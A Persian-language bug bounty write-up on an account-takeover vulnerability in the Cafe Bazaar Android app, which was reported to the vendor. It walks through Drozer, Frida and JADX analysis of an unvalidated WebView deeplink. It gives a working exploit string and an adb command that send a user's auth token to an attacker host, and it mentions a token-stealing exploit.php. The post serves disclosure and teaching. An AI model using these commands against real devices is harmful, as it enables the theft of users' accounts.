پست سوم از سری آسیبپذیریهای کافهبازار. دو پست قبلی رو میتونید از اینجا و اینجا بخونید. این پست راجع به آسیبپذیری هست که سال پیش بر روی اپلیکیشن اندروید کافهبازار گزارش شد و با بانتی و برخورد خوب کافهبازاریا همراه بود. روند کشف آسیبپذیری و اکسپلویت با همکاری علی دینیفر و من انجام شد. توی این پست گزارش ارسال شده به کافهبازار به همراه جزئیات فنی و همچنین نحوه کشف آسیبپذیری بهصورت کامل تشریح شده است.
خلاصه گزارش و سناریو حمله
خب مثل همه سامانههای اندرودی کار ما با Decompile کردن و بررسی استاتیک نرمافزار APK بازار شروع شد. من توی این پست نمیخوام وارد روش انجام کار یا همون متدولوژی آزمون نفوذ اندروید بشم، اینم بگم که تخصص ما بررسی اپلیکیشنهای اندرویدی نیست و برای کشف و اکسپلویت این آسیبپذیری وقت خوبی صرف کردیم، چه بسا یه کارشناس خبره مدت زمان بسیار کمتری برای کشف چنین آسیبپذیری صرف میکنه. راستی برای اینکه بتونین با این رایتاپ ارتباط برقرار کنین، نسخه آسیبپذیر رو از لینک زیر میتونید دریافت کنین:
https://github.com/Voorivex/files
MD5 (bazaar.apk) = 288a84b5dc98880c3652e263c9f867de
خب بریم سراغ رایتآپ. آخر داستان و چیزی که برای کافهبازار فرستادیم این بود:
با بررسیهای انجام شده مشخص شد که عدم کنترل دسترسی Activityها و اختصاص User Inputها از طریق Intent به WebView Object بدون اعتبارسنجی داده ها منجر به ایجاد آسیبپذیری تصاحب حساب کاربری در نرمافزار اندروید کافهبازار شده است.
همچنین سناریو حمله:
مهاجم میتواند با روشهای مختلفی از این آسیبپذیری اطلاعات احراز هویت کاربران را سرقت و حساب آنها رو تصاحب کند. روش های ممکن به این شرح است:
- از راه دور(Remote): مهاجم صفحه وب آلودهای ایجاد میکند، به محض بازدید از این صفحه اکسپلویت کد اجرا شده و اطلاعات کاربر سرقت میشود.
- محلی (Local): مهاجم با نصب بدافزار بر روی سیستم کاربر میتواند مکانیزمهای امنیتی اندروید را دور زده و از طریق Intent، اطلاعات کاربر کافه بازار را سرقت کند. این مورد بسیار خطرناک است، برای مثال برنامه X را در نظر بگیرید که بر روی گوشیهای خیلی ازکاربران ایرانی نصب است، این برنامه بدون اینکه کاربر متوجه شود، میتواند حساب کافهبازار تمامی کاربرانی که همزمان از کافهبازار بر روی گوشی نصب دارند را تصاحب کند. پس هر شرکت یا شخصی که بر روی گوشی یک کاربر برنامهای نصب دارد، با ارسال یک درخواست توانای تصاحب حساب کافهباراز قربانی را دارد.
- دسترسی فیزیکی (Physical access): مهاجم در صورت دسترسی فیزیکی به دستگاه اندروید قربانی، می تواند بدون نیاز به دسترسی روت، Application Sandbox را دور زده و اطلاعات ذخیره شده در بخش حفاظت شده نرمافزار را سرقت کند:
همچنین، چون WebView تحت کنترل مهاجم قرار می گیرد. به لحاظ تئوری امکان اجرای کد از راه دور (RCE) یا سرقت فایلها با دور زدن مکانیزم Same-Origin Policy با بهره گیری از آسیبپذیریهای ثانویه وجود دارد:
https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/
https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html
تحلیل نرمافزار و کشف آسیبپذیری
در این گزارش تحلیلهای Static و Dynamic بر روی نرمافزار کافهبازار صورت پذیرفته، همچنین از فریمورک Drozer برای تحلیل امنیت نرمافزار به صورت Static استفاده شده است. برای اطلاعات بیشتر به صفحه زیر مراجعه شود:
https://github.com/mwrlabs/drozer
توضیح در مورد چگونگی کارکرد Drozer از حوصله این نوشتار خارج است، برای اطلاعات بیشتر راجع به چگونگی کار با این فریمورک به لینکهای زیر مراجعه کنید:
https://resources.infosecinstitute.com/android-hacking-security-part-13-introduction-drozer/
https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac
در ابتدا اطلاعات Activityهای نرم افزار کافه بازار بررسی شد. com.farsitel.bazaar شناسه Package نرم افزار میباشد پس دستور زیر برای دریافت اطلاعات Activityها در Drozer اجرا شد:
run app.activity.info -a com.farsitel.bazaar
نتیجه:
آز آنجایی که Permission: null برای بسیاری از Activityها ست شده است. بنابراین، این Activityها میتوانند توسط سایر Processها در اندروید اجرا شوند. این سطح دسترسی در صورت رعایت نکردن نکات امنیتی مشکل ساز است. دستور زیر برای دریافت اطلاعات جامع در مورد نرمافزار اجرا می شود:
run app.package.info -a com.farsitel.bazaar -i
اطلاعات کلی شامل نسخه نرم افزار، دسترسیها، اطلاعات Activityها و سایر موارد است. همچنین مشخص است که نسخه 7.29.0 نرم افزار مورد بررسی قرار گرفته است. اطلاعات Activityها را بررسی می کنیم. شکل زیر اطلاعات مربوط به Activity اصلی نرمافزار یعنی ir.cafebazaar.ui.home.HomeActivity را نشان می دهد:
برای این اکتیویتی تعدادی Deeplink (اطلاعات بیشتر) تعریف شده است. همانطور که ذکر شد برای بسیاری از Activityها از جمله Home، سطح دسترسی Permission: null تعریف شده است. بنابراین این Activityها از خارج نرمافزار توسط Processهای دیگر قابل دسترسی و فراخوانی هستند. در بین Deeplinkها، یک مورد با نام bazaar://webview تعریف شده است:
ممکن است اطلاعات این لینک در یک WebView مورد استفاده قرار گرفته باشد. WebView به خاطر ویژگیهایی که دارد، اگر به طور امن کنترل نشود آسیبپذیریهای خطرناکی ایجاد می کند. برای تحقیق بیشتر، در قدم اول بررسی می کنیم که WebView در چه قسمتهایی از نرم افزار استفاده شده است و چه نقشی دارد. برای این منظور، باید نرم افزار را به صورت پویا تحلیل کنیم که از فریمورک Frida برای تحلیل نرمافزار در Runtime استفاده می کنیم:
https://www.frida.re/docs/home/
توضیح دستورالعمل فریم ورک Frida در حیطه ی این گزارش نیست، لینکهای زیر راجع به چطونگی کار با این فریمورک برای تحلیل پویا در حیطه موبایل مفید است:
https://medium.com/bugbountywriteup/android-hook-asis-ctf-final-2018-gunshops-question-walkthrough
https://medium.com/bugbountywriteup/digging-android-applications-part-1-drozer-burp-4fd4730d1cf2
https://medium.com/@GowthamR1/android-ssl-pinning-bypass-using-objection-and-frida-scripts-f8199571e7d8
https://medium.com/@iPinnn/frida-tutorial-hook-pada-aplikasi-android-2ec71fb9202c
به طور خلاصه روشی که استفاده می شود شرح داده می شود: Frida از اسکریپت نوشته شده با JavaScript برای سر و کار داشتن با توابع Java نرم افزار در Runtime استفاده می کند ولی هسته و کلاینت این فریم ورک با Python نوشته شده است. توابع مربوط به ساخت رشته (String) در زبان جاوا یعنی java.lang.StringBuilder و java.lang.StringBuffer را با تابعی دلخواه بازنویسی می کنیم تا بتوانیم رشته ها را در هنگام اجرای نرم افزار به محض تولید بخوانیم و بررسی کنیم. در هنگام خواندن رشته بررسی می کنیم که آیا رشته دارای مقدار خاص است (در این مثال عبارت webview). بنابرین اسکریپت JavaScript ما شبیه شکل زیر خواهد بود:
پس از اجرای Frida، قسمت های مختلف نرم افزار را بررسی میکنیم و همزمان رشتههای ایجاد شده را تحت نظر گرفته و وجود مقدار webview در آن ها را چک می کنیم. پس از کلیک بر روی قسمتهای کمک و مشاهدهی خریدها در نرم افزار کافهبازار (قسمت های مشخص شده در تصویر):
رشتههای تولید شده مرتبط با webview را دریافت می کنیم. در واقع نرم افزار کافهبازار برای ارسال و دریافت اطلاعات مربوط به دو قسمت یاد شده از WebView استفاده کرده است. رشته هایی که توسط Frida استخراج کرده ایم به شکل زیر هستند:
رشته اول مربوط به قسمت کمک و رشته دوم مربوط به قسمت مشاهده خریدها میباشد. نکته قابل توجه ارسال یک توکن به عنوان مقدار پارامتر key با روش GET به هنگام درخواست اطلاعات خرید از طریق WebView است. پس درخواست را با استفاده از یک HTTP Proxy بررسی می کنیم. درخواست ارسالی توسط WebView برای مشاهده ی خریدها:
سرور کوکی های احراز هویت و ضد CSRF را ست می کند و سپس WebView را به صفحه مشاهده خرید و تراکنش ها ارجاع می دهد. یعنی کاربر با ارسال یک توکن، نشست کاربر احراز هویت شده دریافت میکند.
چون اطلاعات احراز هویت توسط WebView رد و بدل می شود، لازم است این مورد را به طور دقیق بررسی کنیم. درخواست GET که ارسال می شود به این شکل است:
https://cafebazaar.ir/login/bysession?key=Token&next=/account/cli-transactions?l=en
همان طور که در مراحل قبلی از Frida برای بررسی رشتهها در Runtime استفاده کردیم، این بار برای رهگیری رشته مربوط به درخواست بالا در نرمافزار از روش مشابه استفاده می کنیم. فقط به جای عبارت webview یک عبارت موجود در لینک مثلا bysession را بررسی می کنیم. از java.lang.Exception برای گرفتن Stacktrace استفاده می کنیم تا بتوانیم توابع و متدها را رهگیری کنیم. اسکریپت Frida به شکل زیر خواهد بود:
Frida را اجرا کرده و همزمان با ارسال درخواست ذکر شده توسط WebView، رشته مربوط به لینک را در حافظه نرمافزار رهگیری می کنیم.
رشته مذکور، تغییراتی که صورت می گیرد و توابع و متدهای مرتبط به طور خلاصه و به ترتیب به شکل زیر رهگیری میشوند:
در مرحله ی 1 و 2 توسط تابع ir.cafebazaar.ui.pardakht.g$a.getItem رشته پایه:
https://cafebazaar.ir/login/bysession?key=%s&next=/account/cli-transactions?l=en
Encode شده و بعد درون پارامتر url مربوط به Deeplink WebView قرار می گیرد، پارامترهای
title = Transactions
is_internal = true
login = true
اضافه شده و اطلاعات از طریق Deeplink به Home Activity ارسال می شود. در مرحله ی ۳ اطلاعات Deeplink توسط تابع ir.cafebazaar.ui.common.d.onCreateView دریافت میشود و توکن احراز هویت درون رشته قرار می گیرد. رشته ی نهایی (URL) آماده است. در این مرحله پارامترهای title ،login و is_internal پردازش شدهاند. در مرحله ی 4 تابع at ir.cafebazaar.ui.common.d$1.onPageStarted عمل کرده و URL توسط WebView باز شده و اطلاعات رد و بدل میشود. به طور خلاصه، سه تابع زیر به ترتیب اعمال ساخت Deeplink و ارسال آن، دریافت اطلاعات Deeplink و پردازش آن و در نهایت بارگذاری رشته نهایی در WebView را انجام می دهند:
ir.cafebazaar.ui.pardakht.g$a.getItem(PurchasesFragment.java)
ir.cafebazaar.ui.common.d.onCreateView(WebFragment.java)
ir.cafebazaar.ui.common.d$1.onPageStarted(WebFragment.java)
لازم است عملکرد این سه تابع را بررسی کنیم. برای این کار فایل APK نرم افزار را Decompile می کنیم. از نرم افزار JADX برای Decompile استفاده شده است:
اولین تابع، یعنی ir.cafebazaar.ui.pardakht.g$a.getItem() به این شکل است:
قسمت مهم تابع که Deeplink را میسازد:
ما می توانیم پارامتر های bazaar://webview را تحلیل کنیم:
- پارامتر اول title عنوان مورد نظر برای صفحه
- پارامتر دوم URL که WebView قرار است آن را باز کند. نکته قابل توجه وجود یک Format Specifier یعنی مقدار s% در این پارامتر است. مقدار توکن احراز هویت قرار است با این مقدار جایگزین شود
- پارامترهای is_internal و login که مقادیر false یا true دارند. عملکرد این پارامتر ها در مراحل بعد مشخص میشود
پس از ساخت و ارسال Deeplink، تابع دوم یعنی ir.cafebazaar.ui.common.d.onCreateView() اطلاعات آن را دریافت و پردازش می کند:
نکات مهمی در مورد تابع دوم دارد:
مقدار پارامتر url چک نمی شود همانطور که قبلا ذکر شد، برای Home Activity سطح دسترسی Permission: null تعریف شده است. بنابراین Deeplinkها از خارج نرمافزار توسط Processهای دیگر قابل دسترس و فراخوانی هستند و چون url بررسی نمیشود می توانند آدرس دلخواه را در WebView کافه بازار باز کند. این مشکل به شکل زیر تایید می شود:
نتیجه:
قسمت خیلی مهم تابع دوم به شکل زیر است:
این قسمت را می توان به این شکل تفسیر کرد:
اگر در Deeplink پارامتر login=true باشد و کاربر پیشتر وارد حساب کاربری خود شده باشد، در URL مقدار عبارت %s با مقدار توکن احراز هویت تعویض می شود. اگر کاربر وارد حساب خود نشده باشد مقدار %s از URL حذف می شود.
در نهایت تابع سوم URL را از تابع دوم گرفته و آن را در WebView باز می کند:
اکسپلویت آسیبپذیری
با توجه به شواهد کشف شده،
- دسترسی Webview intent کنترل نشده است و قابل اجرا برای سایر Processها میباشد
- مقدارURL ورودی در این Intent بررسی نمیشود
پس در صورتی که مهاجم بتواند یک درخواست Intent با مشخصات زیر بفرست، توکن احراز هویت کاربر سرقت میشود:
bazaar://webview?title=&url=URLEncode(http://attacker.com/%s)&login=true
به عنوان نمونه با اجرای دستور زیر توکن کاربر به 192.168.115.2:1337 ارسال می شود:
adb shell """am start -a android.intent.action.VIEW -d 'bazaar://webview?title=Attacked&url=http%3A%2F%2F192.168.115.2%3A1337%2F%3FTokenIs%3D%25s&login=true' com.farsitel.bazaar"""
تصاویر حمله:
اثبات وجود آسیبپذیری (PoC)
فیلم اثبات آسیبپذیری با استفاده از فایل exploit.php پیوست گزارش شده است. فایل اول یعنی exploit.php یک اکسپلویت کد برای سرقت توکن احراز هویت کاربر از راه دور است. فایل مذکور روی یک سرور PHP گذاشته می شود. به محض بازدید قربانی از این صفحه و در صورت لزوم کلیک لینک موجود، اطلاعات احراز هویت کاربر سرقت شده و در فایل BazaarTokens.html ذخیره میشود.
فیلم اثبات آسیبپذیری:
کد اکسپلویت را از اینجا دریافت کنید.
زندگی من به سه قسمت تقسیم میشه، قسمت اول کار روزانه من هست که مثل بقیه مردم میرم سر کار. قسمت دوم سعی در براورده کردن علایق کاری خودم، مثل همین وبلاگ. قسمت سوم هم خانواده، مسافرت و تفریح. تلاش میکنم توی قسمت دوم، باگبانتی کار کنم، هم درآمد خوبی داره هم هیجان خاص خودش رو. اون قسمتهایی از تکنیکها و کشفیات در فرایند باگبانتی رو سعی میکنم توی این وبلاگ قرار بدم.
خیلی عالی بانتی این باگ چقدر بود؟
آقا دسخوش؛ کارتون خیلی قشنگ و پر از نکته بود.
ممنون از به اشتراکگذاریش.
خیلی اسمی بود. دمت گرم. حتماً سر فرصت کامل میخونمش. خیلی پربار و غنیه.
جالب بود ایول